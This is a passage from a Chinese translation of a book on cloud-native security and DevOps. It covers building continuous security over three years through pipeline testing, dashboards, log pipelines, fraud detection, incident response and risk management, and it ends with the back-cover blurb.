确的决策。在第一年你可能还没有足够的政治资本来处理复杂的组织问题，你应该 

把重点放在解决技术层面的安全问题上。

13.2. 2全面测试并建立仪表盘

在修复DevOps流水线问题的同时，你还要投入额外的时间来实现测试，以便 

验证环境的状态。如果没有测试的保护，那么花了大量时间集成到网站和服务上的 

控制就会逐步退化直至失效，而你甚至都不会注意到这些变化。如果不想玩这种打 

地鼠的游戏，唯一的方法就是把测试集成到CI/CD流水线之中,以确保每次部署都 

会执行测试。另外，还可以每日执行人工测试作为额外的检查。



13.2第一年:将安全整合到DevOps中 361

测试提供了可见性。如果不进行测试，就无法知道组织处于什么状态。测试结 

果往往打破了我们对组织安全状况的假设,这不可避免地导致了最初的计划之外的 

工作的岀现,这种情况不胜枚举。你应该做好最坏的打算,如果你没有对某个控件 

进行测试，它就可能没有被正确地实现。

参考本书第1部分中为DevOps流水线的每个层级编写的测试。这些测试是ー 

个不错的开始。确保组织在测试上的投入，以及确保开发人员和运维人员可以修改 

并改进这些测试。

建立安全性测试的仪表盘可以帮助你更好地了解安全工作的进展情况。图!3.2 
展示了一个示例仪表盘,它用来度量Mozilla的各个网站是否遵守Web安全基线。 

这个简单的页面每天都会生成，并不断地运行着集成在部署流水线中的同一套测试。

Site (Bug tracker link)

AMO

Status New l/P History

0 0 2017-07-15

0 0 2017-07-15

0 0 2017-07-15

***.org baseline Jw 3

*** .org-mobile

***.org baseline 倒 3

***.org baseline Pass I 0 0 2017-07-15

***.com
baseline F 5 1 5 0 2017-07-15

***.org 0 0 2017-07-15

***.org
baseline 0 0 2017-07-15

0 0 2017-07-15

0 0 2017-07-15

2 0 2017-07-15

***.org baseline W 3

***.org baseline |W 3

baseline

***.org baseline (Pass I 0 0 2017-07-15

***org EgJJJ 函 〇 〇 2017-07-15

baseline IW I 0 0 2017-07-15

图13.2 Mozilla的各个网站与Web安全基线的合规仪表盘。W代表警告，F代表失败。这两个 
字母旁边的数字表示没有通过的测试数量。
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仪表盘是很好的工具,但是应该有节制地使用。迷失在可视化深渊中的安全团 

队实在是太多了,它们都忘记了需要花时间去解决问题。仪表盘不是终极目标,重 

要的是它的度量数据。在许多情况下，文本格式的简单表格就可以工作得很好，尤 

其是在第一年，你应该集中精力把安全集成到DevOps流水线中，而不是去制作图表。

如果一切顺利，在第一年年底你就可以实现安全日志流水线和欺诈检测平台的 

基础部分了。

13.3 第二年:居安思危

如果第一年做得还不错,那么所有容易实现的安全成果都应该被囊括进来,但 

这仍然不足以保证组织可以无懈可击。你在第二年必须继续提升Web应用、基础设 

施和流水线的安全性。你还必须做好准备,迎接网站被攻破的那一天的到来。

在第二年你应该把部分精力放在如何提高调查基础设施的能力上。好消息是， 

你现在已经对如何构建了如指掌了，这在事件响应发生时是非常宝贵的。需要额外 

投入的领域是欺诈检测。在理想情况下，组织已经有了类似于第7章所描述的日志 

流水线,你可以抓紧时间构建第8章中讨论的安全分析。这是最乐观的情况,因为 

你可以利用流水线中产生的日志,而不用自己搭建流水线了。

13.3.1 避免重复的基础设施建设

然而，年轻的组织很少能够从ー开始就拥有可靠的日志流水线。在大多数情况 

下，日志没有经过任何分析就被集中归档。这一点亟需改变。如果组织还没有日志 

流水线，那么你就去参与设计和建设它。日志流水线是安全基础设施的核心组件, 

负责日志流水线对你来说是有好处的,哪怕只是负责其中的一部分。这可能是你在 

组织中推动的第一个大型安全项目,这将促使你和产生或使用日志的每ー个团队（实 

际上是每个人）去合作。

一定不要犯闭门造车的错误,即搭建一条游离在组织其他部门之外的独立安全 

流水线。太多的组织选择了这条路,它们投入大量金钱和资源重复建设基础设施, 

而这些基础设施本应该集中进行管理。处理安全日志与处理运维日志并没有多大区 

别。当网络流量中的某个特定HTTP错误代码出现峰值时,不仅对两个团队有意义, 

而且很可能是用类似的方式检测到的。重复建设的成本很高，所以在搭建一条安全 

日志流水线之前，要记住以下几点:

•维护日志流水线既昂贵又耗时。对安全团队来说，要让其他团队尽可能多地 

分担成本。

•搭建专门用于安全的辅助流水线意味着,你只能访问有选择地转发到这条流
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水线的日志子集,这会降低欺诈检测逻辑的有效性。

从小处着手，先从简单的分析插件开始。ー开始，你可能只要找出可疑的SSH 
连接,这是很容易实现的,然后再逐步深入到网络流量的统计分析之中，最后是使 

用基于历史数据计算出的复杂行为模型（比如我们在第8章中讨论的地理信息技 

术）。与构建一整套人工智能算法相比,编写很多小巧简单的分析插件可能会给你 

带来更好更快的结果。保持简单直接，直到你用尽所有简单的选择,这时オ需要引 

入复杂昂贵的算法。

13.3.2 自建或采购

工程师常常会因为想要创造自己的工具而不是购买现成的工具而感到内疚。想 

要构建自己的工具的原因有很多，比如能有机会根据环境来定制工具，或者自己动 

手的满足感和自豪感。

我是自建安全工具的坚定支持者，但是仍有充分的理由在每隔一段时间后就从 

供应商那里采购安全工具。欺诈检测是竞争最为激烈的领域之一，许多供应商都有 

优秀的产品，虽然价格昂贵，但是可以帮你省下耗费在日志流水线上的时间和精力。

当决定是自建还是采购时,要考虑以下几点 ：

• 安全流水线需要在什么时候投入运行？没有人可以在6个月内建立起大规 

模的、可靠的基础设施,这往往需要一年以上的时间。如果你在第二天就 

要准备好,那么可以从供应商那里采购服务来托管日志，并让它们帮你运 

营基础设施。

・ 你对未来有多大的预见性?自建的投入一开始很高，但几年之后成本就会降 

下来。通常采购工具的费用每年都是固定的。如果你有五年的规划，那么从 

长远来看，建造的成本可能会更低。

・ 你有自建平台所需的能力吗？你可能具备编写脚本或简单程序的能力,但是 

这和高速处理数百万日志所需的编程知识完全不同。供应商可以为你提供这 

种服务,但需要付费。

是自建还是采购，往往是ー个艰难的决定。采购在开始时总是显得很贵，因为 

许可证和硬件成本是必须的。自建可能看起来更有吸引力，但是你必须考虑团队需 

要投入多少时间来实现和运营整个平台。把这个数字翻三倍，因为人们都不擅长估 

算，然后你就知道了自建的成本。

另ー种不太常见的选择是与供应商合作，根据你的需要定制它们的软件,而你 

需要分担ー些工程成本。ー些供应商,特别是年轻的供应商,可能会接受这种合作 

模式，提供按需定制软件的机会,支付许可费用总比普通供应商的收费低。咨询ー 

下是否有这个选项总没有坏处。



364 13持续安全

在第二年,你必须同时落地运维安全性和欺诈检测,因此组织在一段时间内不 

太可能用得上成熟平台提供的更复杂的功能。这没有关系,你的重点应该是构建日 

志流水线的核心功能,并且早日掌握搜索日志的能力，以及搭建出欺诈检测基础设 

施的框架。其余的部分会随着时间的推移而逐步到位。

13.3.3 承受攻击

如果运气好，在组织的安全得到妥善处理之前,第一次事件可能都还没有发生。 

你可能不会那么幸运,当某天早上一觉醒来时，你发现组织已被攻击但却束手无策。 

每个人都会在第一次事件发生时迷失方向,你没有办法做好万全准备来应对事件, 

但是你可以让这件事变得更容易ー些。

信任你的同事,共同努力进行补救是处理安全事件的最好方法。这是一个充满 

压カ的时代,但不要轻易地互相指责。集中精力保护用户和组织。作为一名安全エ 

程师,你的角色能起到组织在混乱时期的定海神针的作用——就像灯塔ー样。你不 

用自己修复全部问题,但是在引导组织恢复正常运作的过程中，丰富的安全知识和 

DevOps流水线知识能够发挥非常重要的作用。

即使当你羽翼渐丰，每个人都理解了你为公司带来的真正价值时,安全事件 

同样也会发生。如果处理得当,这将帮助你以更快的速度推进安全策略,至少在ー 

段时间内是这样的。好好利用这些事件，但不要夸大它们。像不为人信的预言家 

Cassandra那样,不断鼓吹所有美好事物都难逃被毁灭的命运，这是与所有人为敌。

如果你是那ー小部分还没有被攻击的组织中的ー员呢?我听说过这些幸运儿, 

但我表示怀疑,你也不要轻信。两年都没有遇到ー起安全事件,要么是在撒谎,要 

么是存在盲区,要么就是不可思议的幸运。我不太相信运气,而你可能也没有撒谎。 

根据我的经验，通常的诊断结论就是存在盲区。如果是这样的话,加强组织中那些 

对你来说还是黑盒的区域的审查,并持续构建欺诈检测流水线。很有可能你已经被 

“黑” 了，只是还没被发现而已。

安全事件是业务的一部分。像DevOps这样，将开发速率提升得越快,犯错误 

的几率就越高，攻击者很快就会利用这些错误。这些事件是学习经验，并提供了大 

量数据来提升安全性。好好利用这些数据，调整你的计划，解决在黑客入侵期间发 

现的最紧迫的问题。再怎么强调事后调查的价值和经验总结的重要性也不过分。

13.4 第三年:推动变革

时间进入到第三年,组织内部对安全的感知已经发生了翻天覆地的变化,你和 

同事都是如此。你已经建立了声望,人们都信任你，在做出有风险的决定之前会来 
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咨询你的意见;核心Web应用和基础设施的攻击面都被压缩到了最小:当检测到可 

疑活动时,日志流水线会发出自动告警。一切都在你的掌控之中,一切都很好。

这时,你就需要进行自我批评了。两年的努力容易让人沾沾自喜,但是攻击者 

却始终不会放弃。第三年要放缓脚步，将风险管理整合到安全策略中,并持续推进 

安全测试,特别是邀请外部公司来检验一下你的安全性。

这并不是说要放松对DevOps流水线和欺诈检测平台的改进。这些事情会随着 

时间的推移而不断演进,但是你应该能够在每个领域里都投入三分之一的时间,并 

且要开始考虑风险管理了。

13.4.1 重新审视安全优先级

在理想的情况下,当进入第三年的时候,组织已经发展壮大了,而安全团队规 

模也随之扩张,这样你就可以从日常工作中腾出手来了。

人们很容易迷失在复杂的基础设施细节中,闷头实现越来越多的安全工具,但 

是只有组织在建立了安全形势的大局观之后，才能朝着正确的方向前进。停下来, 

退ー步，问问自己:“我们现在是否专注在最重要的事情上?我们该怎么办? ”

这很困难。您可能需要一些时间来摆脱从一个特性实现到另ー个特性实现,从 

ー个安全性检查到另ー个安全性检查,从ー个代码检查到另一个代码检查的疯狂节 

奏。优秀的战略家知道如何重新评估情况，在组织中重新分配资源，即使意味着取 

消那些不再优先考虑的项目。你要做到这一点,外部供应商的风险评估和审计可以 

帮你重新调整优先级。

在理想情况下,你应该能够随时向组织高管提供关于组织安全性的准确说明。 

你己经花了大量的时间深入到基础设施的每个角落,因此你应该确切地知道问题出 

在哪里，并且还应该有一份详尽的并且是待处理的领域的待办列表。同时,开始投 

资你的项目管理技能。每个人都有做不完的工作，这是业务的正常副作用。项目管 

理技能可以帮你列出任务优先级，把最不重要的任务排到最后。你也可以在这方面 

寻求他人的帮助，尽管我认为，靠谱的管理者在他们的脑子里一定有一个优先级列 

表,并不一定需要项目经理的帮助。

小心,别过于强调风险管理。你的首要任务仍然没有改变：帮助组织安全运作。 

你的主要目标是帮助DevOps团队做到这一点,而风险管理是实现这ー目标的工具 

之一。优秀的安全策略应该平衡好流水线安全性、欺诈和事件响应,以及风险管理 

三者之间的关系。

13.4.2 迭代前进

持续安全是ー个迭代的过程------个有着固定节奏的循环,它可以帮助你提高 
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所有重要领域的安全性。同时对所有领域进行全面投资很重要,这样就能让这台运 

转良好的机器尽可能平稳地运转。例如,你不能为了网络安全的彻底改造而放弃ー 

整年的欺诈检测。这两个领域必须同时持续改进,这样才能确保组织的安全。

你需要多长时间来实现本书所有章节所讨论的内容,是一年、三年，还是五 

年，这并不重要。重要的是不断地重新审视和改进这些主题。两年前创建的工具 

可能已经不够用了 ；组织己经从AWS迁移到了 GCE,或者从云回归到了数据中 

心;所有网站都用上了全新的JavaScript框架，而漏洞扫描器还不支持这个框架: 

组织决定成立一个专注于自动驾驶的新部门。你需要不断地调整,跟上组织的脚步， 

不要掉队。

我在第1章中将DevOps定义为“ー个持续改善软件产品的过程，它通过极 

短的发布周期、全面自动化的集成和交付流水线,以及团队间的紧密协作来不断改 

善产品”。你在关于DevOps安全方面的职责是尽可能地支持这个过程，始终关注组 

织的现代化，并成为变革的推动カ。不要因为自己的工具可能会被废弃而拒绝迁移 

到新的基础设施上。这样的安全人员没人爱。

10000小时乍看起来很长,但是那些从零开始实施过安全策略及经验丰富的安 

全经理会告诉你，这个数字太乐观了。大公司在安全方案上花费的时间和资源要多 

得多，它们通常配备了几十名甚至数百名安全工程师。

换言之,要有耐心。立刻行动起来;付出终将有所回报。反复锤炼技能,尤其 

是在事件响应的过程中，直到成为运用自如的大师。要懂技术,要参与到工程过程 

中，不断积极地让组织变得更加安全。DevOps保障最重要的一点可能是将安全（包 

括安全人员和安全技术）直接根植到产品之中，构建有效的、弹性的、安全的云服务。

祝你好运!
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云原生安全。DevOps保障
运行在云上的应用程序可以从令人难以置信的效率中获益,但 

这些应用程序也面临着特有的安全威胁。理解这些风险,并对 

系统进行加固，让它们能更好地防范这些风险,是DevOps团 

队优先级最高的任务之ー。

《云原生安全与DevOps保障》将教给你保障云服务安全的基 

本技术。本书通过充分可信的案例分析,展示了如何将安全性 

内建到自动化测试、持续交付及其他核心DevOps流程之中。 

本书内容翔实，关键的策略随处可见,它们可以帮助你保护 

Web应用程序免受攻击,使欺诈者打消念头,并让大规模的服 

务运维更加安全。你还将学到如何识别和评估现代基础设施中 

常用的云部署和自动化工具所带来的独特漏洞,以确保安全性。

本书内容包括:

・实现持续安全的方法

•在DevOps中实现测试驱动安全
・针对云服务的安全技术

・监控欺诈活动及应对安全事件的方法

•安全性测试与风险评估

熟悉Linux和标准DevOps实践（如持续集成、持续交付及单 

元测试）的读者阅读体验更佳。

Julien Vehent是安全架构师,也是DevOps的倡导者。他在 

Mozilla领导Firefox运维安全团队,负责Firefox的大流量云服 

务和公共网站的安全。

"洞见与实例相结合,一本常备之书。”

------Adrien Saladin,PeopleDoc

“用通俗易懂的语言解释了一个复杂的 

话题。カ荐给所有DevOps人员和技术经 

理。”

------ Adam Montville, 
Center for Internet Security

“非常实用,而且可以马上落地。”

------Yan Guo, Eventbrite

“一部关于安全软件开发的杰作,现今 

这个时代必须关注安全，无论你有没有 

采纳DevOps方法。”

------Andrew Bovill, Next Century

读者服务
微信扫码回复:38448
•获取博文视点学院20元付费内容抵扣券
•获取本书配套代码、外链列表

•获取更多技术专家分享的视频与学习资源

•加入读者交流群，与更多读者互动
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